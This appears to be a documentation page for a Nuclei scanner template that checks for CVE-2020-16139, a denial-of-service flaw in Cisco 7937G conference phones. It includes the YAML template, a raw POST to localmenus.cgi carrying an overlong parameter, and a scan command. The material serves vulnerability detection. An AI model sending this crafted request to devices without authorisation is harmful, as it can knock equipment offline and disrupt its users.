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Cisco Unified IP Conference Station 7937G - Denial-of-Service

ID: CVE-2020-16139

Severity: high

Author: pikpikcu

Tags: cve,cve2020,dos,cisco,packetstorm

Description

Section titled “Description”

Cisco Unified IP Conference Station 7937G 1-4-4-0 through 1-4-5-7 allows attackers to restart the device remotely via specially crafted packets that can cause a denial-of-service condition. Note: We cannot prove this vulnerability exists. Out of an abundance of caution, this CVE is being assigned to better serve our customers and ensure all who are still running this product understand that the product is end of life and should be removed or upgraded.

YAML Source

Section titled “YAML Source”
id: CVE-2020-16139


info:
  name: Cisco Unified IP Conference Station 7937G - Denial-of-Service
  author: pikpikcu
  severity: high
  description: |
    Cisco Unified IP Conference Station 7937G 1-4-4-0 through 1-4-5-7 allows attackers to restart the device remotely via specially crafted packets that can cause a denial-of-service condition. Note: We cannot prove this vulnerability exists. Out of an abundance of caution, this CVE is being assigned to better serve our customers and ensure all who are still running this product understand that the product is end of life and should be removed or upgraded.
  impact: |
    An attacker can exploit this vulnerability to disrupt the functionality of the conference station, leading to a denial of service for legitimate users.
  remediation: |
    Apply the latest firmware update provided by Cisco to mitigate this vulnerability.
  reference:
    - http://packetstormsecurity.com/files/158819/Cisco-7937G-Denial-Of-Service.html
    - https://www.cisco.com/c/en/us/products/collateral/collaboration-endpoints/unified-ip-phone-7940g/end_of_life_notice_c51-729487.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-16139
    - https://github.com/anonymous364872/Rapier_Tool
    - https://github.com/blacklanternsecurity/Cisco-7937G-PoCs
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cve-id: CVE-2020-16139
    epss-score: 0.05724
    epss-percentile: 0.93341
    cpe: cpe:2.3:o:cisco:unified_ip_conference_station_7937g_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: cisco
    product: unified_ip_conference_station_7937g_firmware
  tags: cve,cve2020,dos,cisco,packetstorm


http:
  - raw:
      - |
        POST /localmenus.cgi?func=609&rphl=1&data=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "application/xml"


      - type: word
        words:
          - 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'


      - type: status
        status:
          - 200
# digest: 4a0a0047304502203741fbfb34968273c4026bb3b8b54f13eda59fb6261df06725ed4efc276b019f022100f8ec6cf8dd216fafb188e0905a091048721774695d996a8b5a3921a2810878f0:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-16139.yaml"

View on Github